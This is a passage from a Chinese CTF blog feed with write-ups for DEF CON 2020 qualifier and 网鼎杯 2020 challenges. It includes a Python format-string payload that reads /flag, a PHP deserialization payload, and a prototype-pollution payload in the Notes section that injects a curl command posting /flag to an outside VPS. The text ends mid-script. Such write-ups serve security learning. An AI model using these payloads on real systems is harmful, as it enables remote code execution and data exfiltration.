f<span class="string">"test{random.randint(0, 1000000)}"</span></span><br><span class="line"> passwd = <span class="string">"testing"</span></span><br><span class="line"></span><br><span class="line"> result = requests.post(f<span class="string">"{url}/user/register"</span>,</span><br><span class="line"> <span class="attribute">json</span>=dict(name=username,</span><br><span class="line"> <span class="attribute">passwd</span>=passwd))</span><br><span class="line"> assert result.status_code == 200</span><br><span class="line"> r = result.json()</span><br><span class="line"> assert <span class="string">'id'</span> <span class="keyword">in</span> r</span><br><span class="line"></span><br><span class="line"> result = requests.post(f<span class="string">"{url}/user/login"</span>,</span><br><span class="line"> <span class="attribute">json</span>=dict(name=username,</span><br><span class="line"> <span class="attribute">passwd</span>=passwd))</span><br><span class="line"> assert result.status_code == 200</span><br><span class="line"> r = result.json()</span><br><span class="line"> token = r[<span class="string">'token'</span>]</span><br><span class="line"></span><br><span class="line"> auth_headers = {<span class="string">"X-Auth-Token"</span>: token}</span><br><span class="line"></span><br><span class="line"> done = <span class="literal">False</span></span><br><span class="line"> <span class="keyword">while</span> <span class="keyword">not</span> done:</span><br><span class="line"> result = requests.post(f<span class="string">"{url}/assignment/1/submissions"</span>,</span><br><span class="line"> <span class="attribute">json</span>=dict(file=open('solution.c', <span class="string">'r'</span>).read()),</span><br><span class="line"> <span class="attribute">headers</span>=auth_headers)</span><br><span class="line"> r = result.json()</span><br><span class="line"> id = r[<span class="string">'id'</span>]</span><br><span class="line"></span><br><span class="line"> time.sleep(4)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"></span><br><span class="line"> result = requests.<span class="builtin-name">get</span>(f<span class="string">"{url}/submission/{id}/result"</span>,</span><br><span class="line"> <span class="attribute">headers</span>=auth_headers)</span><br><span class="line"> r = result.json()</span><br><span class="line"> <span class="builtin-name">print</span>(r)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'retry'</span> <span class="keyword">in</span> r:</span><br><span class="line"> time.sleep(4)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'Success'</span> <span class="keyword">in</span> r[<span class="string">'message'</span>]:</span><br><span class="line"> <span class="builtin-name">print</span>(r[<span class="string">'message'</span>][9:])</span><br><span class="line"> sys.exit(0)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="builtin-name">print</span>(<span class="string">'trying again'</span>)</span><br><span class="line"> break</span><br><span class="line"></span><br><span class="line"> sys.exit(-1)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><h2 id="Dogooos">Dogooos</h2><p><code>fstring</code>的格式化字符串漏洞,<a href="https://github.com/o-o-overflow/dc2020q-dogooos-public" target="_blank" rel="noopener">题目环境</a>也已经给出。</p><p>题目是给了源码的,先对源码进行审计,这题实际上是有个坑的,在<code>dogooo_comments.py</code>中有这么一段,天真的以为是命令执行,饶了半天waf,但是一直没用…(赛后看了一下,发现官方给了这么一个note 2333:Although there was a promising route in the script for executing local commands /runcmd. It would error because of the seccomp filter which prevented execve.)</p><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line">@app.route(<span class="string">"/dogooo/runcmd"</span>, methods=[<span class="string">"GET"</span>,<span class="string">"POST"</span>])</span><br><span class="line">def run_cmd():</span><br><span class="line"> cmd = request.form.get(<span class="string">'cmd'</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> cmd <span class="keyword">or</span> cmd == <span class="string">""</span>:</span><br><span class="line"> cmd = <span class="string">"ls -la /tmp"</span>.split(<span class="string">" "</span>)</span><br><span class="line"> <span class="built_in">print</span>(f<span class="string">"here {cmd}"</span>)</span><br><span class="line"> import subprocess</span><br><span class="line"> p = subprocess.Popen(cmd, <span class="built_in">stdout</span>=subprocess.PIPE, <span class="built_in">stderr</span>=subprocess.PIPE)</span><br><span class="line"> <span class="built_in">stdout</span>, <span class="built_in">stderr</span> = p.communicate()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"STDOUT:"</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">stdout</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">stdout</span></span><br></pre></td></tr></table></figure><p>后面再想是否不是命令绕过,或者是否有什么没注意到的,于是继续审代码,发现在<code>loaddata.py</code>中有两处使用了<code>fstring</code>:</p><figure class="highlight ruby"><table><tr><td class="code"><pre><span class="line">from fstring import fstring as f</span><br><span class="line">······</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span>(<span class="title">UserMixin</span>):</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>, id, username, password)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">self</span>.id = id</span><br><span class="line"> <span class="keyword">self</span>.username = username</span><br><span class="line"> <span class="keyword">self</span>.password = password</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">"%d/%s/%s"</span> % (<span class="keyword">self</span>.id, <span class="keyword">self</span>.username, <span class="keyword">self</span>.password)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">get_user_info</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">return</span> f(<span class="keyword">self</span>.username)</span><br><span class="line"></span><br><span class="line">······</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Post</span>(<span class="title">object</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>, id, message, rating, pic_loc)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">self</span>.id = id</span><br><span class="line"> <span class="keyword">self</span>.rating = rating</span><br><span class="line"> <span class="keyword">self</span>._message = message</span><br><span class="line"> <span class="keyword">self</span>.pic_loc = pic_loc</span><br><span class="line"> <span class="keyword">self</span>.author = <span class="string">""</span></span><br><span class="line"> <span class="keyword">self</span>.comments = list()</span><br><span class="line"></span><br><span class="line"> @property</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">message</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">self</span>._message</span><br><span class="line"></span><br><span class="line"> @message.setter</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">message</span><span class="params">(<span class="keyword">self</span>, msg)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">self</span>._message = msg</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">add_comment</span><span class="params">(<span class="keyword">self</span>, comment, commenter, preview=False)</span></span><span class="symbol">:</span></span><br><span class="line"> <span class="keyword">self</span>.comments.append(Comment(comment, commenter, preview))</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">get_comments</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line"> out = <span class="string">""</span></span><br><span class="line"> <span class="keyword">for</span> ccnt, cmt <span class="keyword">in</span> enumerate(<span class="keyword">self</span>.comments)<span class="symbol">:</span></span><br><span class="line"> fmt_cmt = cmt.comment.format(rating=<span class="keyword">self</span>.__dict_<span class="number">_</span>)</span><br><span class="line"> form_save = f<span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string"> <form action="</span>/dogooo/deets/add/{<span class="keyword">self</span>.id}<span class="string">" method="</span>POST<span class="string">"></span></span><br><span class="line"><span class="string"> <input type=hidden id="</span>comment<span class="string">" name="</span>comment<span class="string">" value='{fmt_cmt}'></textarea></span></span><br><span class="line"><span class="string"> <input type=hidden id="</span>commenter<span class="string">" name="</span>commenter<span class="string">" value='{cmt.author}'/></span></span><br><span class="line"><span class="string"> <input type=submit value="</span>Save<span class="string">" /></span></span><br><span class="line"><span class="string"> </form></span></span><br><span class="line"><span class="string"> "</span><span class="string">""</span></span><br><span class="line"> <span class="keyword">if</span> cmt.<span class="symbol">preview:</span></span><br><span class="line"> out += f<span class="string">"<ul class='square'>{fmt_cmt} - {cmt.author} {form_save} </ul>\n"</span></span><br><span class="line"> <span class="symbol">else:</span></span><br><span class="line"> out += f<span class="string">"<ul class='square'>{fmt_cmt} - {cmt.author}</ul>\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> out</span><br></pre></td></tr></table></figure><p>这里猜测是否是利用<code>fstring</code>的格式化字符串漏洞,可以看一下<a href="https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html" target="_blank" rel="noopener">P神的文章</a>,以及<a href="https://www.anquanke.com/post/id/170620" target="_blank" rel="noopener">安全客上的一篇</a>。</p><p>继续审源码,发现这里的<code>get_user_info</code>函数是在用户登录时候调用,也就是说,如果可以利用格式化字符串漏洞,创建一个用户,将命令注入到<code>username</code>中,那么在登录时就可以执行命令了。</p><p>另外,这里需要一个能够创建账户登录的用户,这里利用使用了<code>fstring</code>的第二处——<code>get_comments</code>函数,另外在这里发现有一个叫<code>post_results</code>的全局变量,读取一下试试:</p><figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line">{rating[<span class="string">comments</span>][<span class="symbol">0</span>].<span class="strong">__init__</span>.<span class="strong">__globals__</span>[post_results]}</span><br></pre></td></tr></table></figure><p>读取结果</p><p><img src="/image/202005_defcon/4.png" alt=""></p><p>可以拿到一个作者用户,登录后修改用户名为读取<code>flag</code>的命令</p><figure class="highlight clojure"><table><tr><td class="code"><pre><span class="line">{open(<span class="name">'/flag'</span>).read()}</span><br></pre></td></tr></table></figure><p>再登录即可拿到<code>flag</code></p><p><img src="/image/202005_defcon/5.png" alt=""></p><p>这个题,后续看了下其他师傅的WP,貌似还有个模板注入可以直接解</p><figure class="highlight aspectj"><table><tr><td class="code"><pre><span class="line"><span class="meta">@app</span>.route(<span class="string">"/dogooo/deets/<postid>"</span>, methods=[<span class="string">"GET"</span>,<span class="string">"POST"</span>])</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
打了一波defcon qual,不愧为CTF的殿堂级比赛,还是学到了很多新东西的。
</summary>
<category term="CTF_writeup" scheme="http://www.xiaozblog.top/categories/CTF-writeup/"/>
<category term="writeup" scheme="http://www.xiaozblog.top/tags/writeup/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
</entry>
<entry>
<title>网鼎杯2020-青龙组-部分WP</title>
<link href="http://www.xiaozblog.top/2020/05/13/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-%E9%9D%92%E9%BE%99%E7%BB%84-%E9%83%A8%E5%88%86WP/"/>
<id>http://www.xiaozblog.top/2020/05/13/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-%E9%9D%92%E9%BE%99%E7%BB%84-%E9%83%A8%E5%88%86WP/</id>
<published>2020-05-13T02:10:24.000Z</published>
<updated>2020-06-11T04:11:16.000Z</updated>
<content type="html"><![CDATA[<p>一次体验不太好的比赛,web题环境容易崩,所以做着做着搞其他题去了,不过也还好整出点题目。但是可能这比赛py太多,最后还是没能进线下。</p><h2 id="Web">Web</h2><h3 id="AreUSerialz">AreUSerialz</h3><p>算是一个简单的反序列化,主要是类里面用了protected,所以需要做一下绕过。题目给出了源码,主要是对is_valid的绕过。在is_valid函数中,会把protected类型的属性的序列化字符串中的不可见字符\00筛掉。</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">"flag.php"</span>);</span><br><span class="line"></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileHandler</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">protected</span> $op;</span><br><span class="line"> <span class="keyword">protected</span> $filename;</span><br><span class="line"> <span class="keyword">protected</span> $content;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span> </span>{</span><br><span class="line"> $op = <span class="string">"1"</span>;</span><br><span class="line"> $filename = <span class="string">"/tmp/tmpfile"</span>;</span><br><span class="line"> $content = <span class="string">"Hello World!"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->process(); </span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">process</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->op == <span class="string">"1"</span>) {</span><br><span class="line"> <span class="keyword">$this</span>->write(); </span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span>(<span class="keyword">$this</span>->op == <span class="string">"2"</span>) {</span><br><span class="line"> $res = <span class="keyword">$this</span>->read();</span><br><span class="line"> <span class="keyword">$this</span>->output($res);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">$this</span>->output(<span class="string">"Bad Hacker!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->filename) && <span class="keyword">isset</span>(<span class="keyword">$this</span>->content)) {</span><br><span class="line"> <span class="keyword">if</span>(strlen((string)<span class="keyword">$this</span>->content) > <span class="number">100</span>) {</span><br><span class="line"> <span class="keyword">$this</span>->output(<span class="string">"Too long!"</span>);</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line"> }</span><br><span class="line"> $res = file_put_contents(<span class="keyword">$this</span>->filename, <span class="keyword">$this</span>->content);</span><br><span class="line"> <span class="keyword">if</span>($res) <span class="keyword">$this</span>->output(<span class="string">"Successful!"</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">$this</span>->output(<span class="string">"Failed!"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">$this</span>->output(<span class="string">"Failed!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span><span class="params">()</span> </span>{</span><br><span class="line"> $res = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->filename)) {</span><br><span class="line"> $res = file_get_contents(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $res;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">output</span><span class="params">($s)</span> </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"[Result]: <br>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> $s;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->op === <span class="string">"2"</span>)</span><br><span class="line"> <span class="keyword">$this</span>->op = <span class="string">"1"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->content = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">$this</span>->process();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_valid</span><span class="params">($s)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span>($i = <span class="number">0</span>; $i < strlen($s); $i++)</span><br><span class="line"> <span class="keyword">if</span>(!(ord($s[$i]) >= <span class="number">32</span> && ord($s[$i]) <= <span class="number">125</span>))</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET{<span class="string">'str'</span>})) {</span><br><span class="line"></span><br><span class="line"> $str = (string)$_GET[<span class="string">'str'</span>];</span><br><span class="line"> <span class="keyword">if</span>(is_valid($str)) {</span><br><span class="line"> $obj = unserialize($str);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最开始做这题一直在想着各种构造payload bypass,但结果绕了半天发现可以直接改public利用弱类型就可以拿到文件了。Payload如下:</p><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line">?str=O:<span class="number">11</span>:%<span class="number">22</span>FileHandler%<span class="number">22</span>:<span class="number">3</span>:{s:<span class="number">2</span>:%<span class="number">22</span>op%<span class="number">22</span>;i:<span class="number">2</span>;s:<span class="number">8</span>:%<span class="number">22f</span>ilename%<span class="number">22</span>;s:<span class="number">8</span>:%<span class="number">22f</span>lag.php%<span class="number">22</span>;s:<span class="number">1</span>:%<span class="number">22</span>%<span class="number">22</span>}</span><br></pre></td></tr></table></figure><p>这里因为要读取文件,所以要让$op等于2,直接利用弱类型即可。</p><h3 id="Notes">Notes</h3><p>这题在比赛的时候搞了半天,发现是<a href="https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940" target="_blank" rel="noopener">CVE-2019-10795 unsafe原型链污染</a>,但是不知道为什么一直弹不回flag。后面自己再复现的时候就可以了…问了下其他师傅说可能是这次比赛docker的问题,玄学。</p><p>题目给出了源码:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">var express = require('express');</span><br><span class="line">var path = require('path');</span><br><span class="line">const undefsafe = require('undefsafe');</span><br><span class="line">const { exec } = require('child_process');</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">var app = express();</span><br><span class="line">class Notes {</span><br><span class="line"> constructor() {</span><br><span class="line"> this.owner = "whoknows";</span><br><span class="line"> this.num = 0;</span><br><span class="line"> this.note_list = {};</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> write_note(author, raw_note) {</span><br><span class="line"> this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> get_note(id) {</span><br><span class="line"> var r = {}</span><br><span class="line"> undefsafe(r, id, undefsafe(this.note_list, id));</span><br><span class="line"> return r;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> edit_note(id, author, raw) {</span><br><span class="line"> undefsafe(this.note_list, id + '.author', author);</span><br><span class="line"> undefsafe(this.note_list, id + '.raw_note', raw);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> get_all_notes() {</span><br><span class="line"> return this.note_list;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> remove_note(id) {</span><br><span class="line"> delete this.note_list[id];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">var notes = new Notes();</span><br><span class="line">notes.write_note("nobody", "this is nobody's first note");</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app.set('views', path.join(__dirname, 'views'));</span><br><span class="line">app.set('view engine', 'pug');</span><br><span class="line"></span><br><span class="line">app.use(express.json());</span><br><span class="line">app.use(express.urlencoded({ extended: false }));</span><br><span class="line">app.use(express.static(path.join(__dirname, 'public')));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app.get('/', function(req, res, next) {</span><br><span class="line"> res.render('index', { title: 'Notebook' });</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">app.route('/add_note')</span><br><span class="line"> .get(function(req, res) {</span><br><span class="line"> res.render('mess', {message: 'please use POST to add a note'});</span><br><span class="line"> })</span><br><span class="line"> .post(function(req, res) {</span><br><span class="line"> let author = req.body.author;</span><br><span class="line"> let raw = req.body.raw;</span><br><span class="line"> if (author && raw) {</span><br><span class="line"> notes.write_note(author, raw);</span><br><span class="line"> res.render('mess', {message: "add note sucess"});</span><br><span class="line"> } else {</span><br><span class="line"> res.render('mess', {message: "did not add note"});</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line">app.route('/edit_note')</span><br><span class="line"> .get(function(req, res) {</span><br><span class="line"> res.render('mess', {message: "please use POST to edit a note"});</span><br><span class="line"> })</span><br><span class="line"> .post(function(req, res) {</span><br><span class="line"> let id = req.body.id;</span><br><span class="line"> let author = req.body.author;</span><br><span class="line"> let enote = req.body.raw;</span><br><span class="line"> if (id && author && enote) {</span><br><span class="line"> notes.edit_note(id, author, enote);</span><br><span class="line"> res.render('mess', {message: "edit note sucess"});</span><br><span class="line"> } else {</span><br><span class="line"> res.render('mess', {message: "edit note failed"});</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line">app.route('/delete_note')</span><br><span class="line"> .get(function(req, res) {</span><br><span class="line"> res.render('mess', {message: "please use POST to delete a note"});</span><br><span class="line"> })</span><br><span class="line"> .post(function(req, res) {</span><br><span class="line"> let id = req.body.id;</span><br><span class="line"> if (id) {</span><br><span class="line"> notes.remove_note(id);</span><br><span class="line"> res.render('mess', {message: "delete done"});</span><br><span class="line"> } else {</span><br><span class="line"> res.render('mess', {message: "delete failed"});</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line">app.route('/notes')</span><br><span class="line"> .get(function(req, res) {</span><br><span class="line"> let q = req.query.q;</span><br><span class="line"> let a_note;</span><br><span class="line"> if (typeof(q) === "undefined") {</span><br><span class="line"> a_note = notes.get_all_notes();</span><br><span class="line"> } else {</span><br><span class="line"> a_note = notes.get_note(q);</span><br><span class="line"> }</span><br><span class="line"> res.render('note', {list: a_note});</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line">app.route('/status')</span><br><span class="line"> .get(function(req, res) {</span><br><span class="line"> let commands = {</span><br><span class="line"> "script-1": "uptime",</span><br><span class="line"> "script-2": "free -m"</span><br><span class="line"> };</span><br><span class="line"> for (let index in commands) {</span><br><span class="line"> exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {</span><br><span class="line"> if (err) {</span><br><span class="line"> return;</span><br><span class="line"> }</span><br><span class="line"> console.log(`stdout: ${stdout}`);</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> res.send('OK');</span><br><span class="line"> res.end();</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app.use(function(req, res, next) {</span><br><span class="line"> res.status(404).send('Sorry cant find that!');</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app.use(function(err, req, res, next) {</span><br><span class="line"> console.error(err.stack);</span><br><span class="line"> res.status(500).send('Something broke!');</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">const port = 8080;</span><br><span class="line">app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))</span><br></pre></td></tr></table></figure><p>审计代码,发现在route函数中有一个commands数组,如果可以将代码传到这里则可以rce。这里参照上述所说CVE的利用,可以用edit_node去污染object,将payload注入,再访问status即可执行代码实现RCE。</p><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">id=__proto__<span class="string">"."</span>autho<span class="string">r":"</span>curl http:xxx.xxx.xxx.xxx:<span class="number">7777</span> -F <span class="string">'file=@/flag'</span><span class="string">","</span>raw<span class="string">":"</span>test<span class="string">"}</span></span><br></pre></td></tr></table></figure><p>在edit_note传入上述payload,访问status即可在vps中看到弹回的flag。</p><h2 id="Misc">Misc</h2><h3 id="签到">签到</h3><p>答题,答对15道题之后输入token,此时可以抓到一个请求flag.php的包,repeat一下就可以拿到flag</p><h3 id="虚幻">虚幻</h3><p>这次的Misc里最难受的一道题。压缩包打开之后是一个file文件,查看发现是png格式,改为png格式(36*12像素):</p><p><img src="/image/202005_wdqinglong/1.png" alt=""></p><p>用Stegsolve处理,R、G、B的图分别为:</p><p><img src="/image/202005_wdqinglong/2.png" alt=""></p><p>可以发现,有图像的区域分别为31<em>10像素(R)、31</em>11像素(G)、31<em>10像素(B)以GBR的顺序,每次取31</em>1像素的一行,循环拼图可以得到一张图片</p><p><img src="/image/202005_wdqinglong/3.png" alt=""></p><p>而汉信码一般是这样的。</p><p><img src="/image/202005_wdqinglong/4.png" alt=""></p><p>可以发现整体的方向和四个角的方向都有所不对。把图像逆时针旋转90°,再把左下的定位标转到正确的方向:</p><p><img src="/image/202005_wdqinglong/5.png" alt=""></p><p>右上还有个7*9的空白区域需要修补,这个只能写脚本强行爆破……</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line">im = Image.open(<span class="string">'xuhuan.png'</span>)</span><br><span class="line">width = im.size[<span class="number">0</span>]</span><br><span class="line">height = im.size[<span class="number">1</span>]</span><br><span class="line">print(im.size)</span><br><span class="line"></span><br><span class="line">black = im.getpixel((<span class="number">0</span>,<span class="number">0</span>))</span><br><span class="line">white = im.getpixel((<span class="number">1</span>,<span class="number">1</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">7</span>):</span><br><span class="line"> <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">14</span>,<span class="number">23</span>):</span><br><span class="line"> color = random.choice([black,white])</span><br><span class="line"> im.putpixel((x,y),color)</span><br><span class="line"> <span class="comment">#print(im.getpixel((x,y)))</span></span><br><span class="line">im.save(<span class="string">"save.png"</span>,<span class="string">"PNG"</span>)</span><br></pre></td></tr></table></figure><p>得到汉明码之后,在 <a href="http://www.efittech.com/hxdec.html" target="_blank" rel="noopener">http://www.efittech.com/hxdec.html</a> 上传得到结果.</p><h2 id="Re">Re</h2><h3 id="Bang">Bang</h3><p>直接找个root了的手机,用Xposed-ZjDroid脱下壳可以拿到dex文件,用dex2jar反编译可以找到flag。在脱壳后,使用Jeb 也可以直接分析源码得flag。脱壳可以参考<a href="https://zhuanlan.kanxue.com/article-422.htm" target="_blank" rel="noopener">这个</a></p><p><img src="/image/202005_wdqinglong/6.png" alt=""></p><h3 id="Singal">Singal</h3><p>main函数调用了vm_operad函数,从名字可以看出是虚拟机。拿py实现一下里面的功能,然后把判断语句丢进z3,就好了。z3是真的好用23333。下面是某位大佬的exp,毕竟web狗,做这个题目的时候写了好几个脚本慢慢算,太low了…</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">code=<span class="string">b'\n\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00 \x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00!\x00\x00\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\t\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00Q\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00$\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x006\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00A\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00 \x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\t\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00A\x00\x00\x00\x08\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00"\x00\x00\x00\x07\x00\x00\x00?\x00\x00\x00\x07\x00\x00\x004\x00\x00\x00\x07\x00\x00\x002\x00\x00\x00\x07\x00\x00\x00r\x00\x00\x00\x07\x00\x00\x003\x00\x00\x00\x07\x00\x00\x00\x18\x00\x00\x00\x07\x00\x00\x00\xa7\xff\xff\xff\x07\x00\x00\x001\x00\x00\x00\x07\x00\x00\x00\xf1\xff\xff\xff\x07\x00\x00\x00(\x00\x00\x00\x07\x00\x00\x00\x84\xff\xff\xff\x07\x00\x00\x00\xc1\xff\xff\xff\x07\x00\x00\x00\x1e\x00\x00\x00\x07\x00\x00\x00z\x00\x00\x00'</span></span><br><span class="line"></span><br><span class="line">code=[int.from_bytes(code[i:i+<span class="number">4</span>],<span class="string">'little'</span>)<span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">114</span>*<span 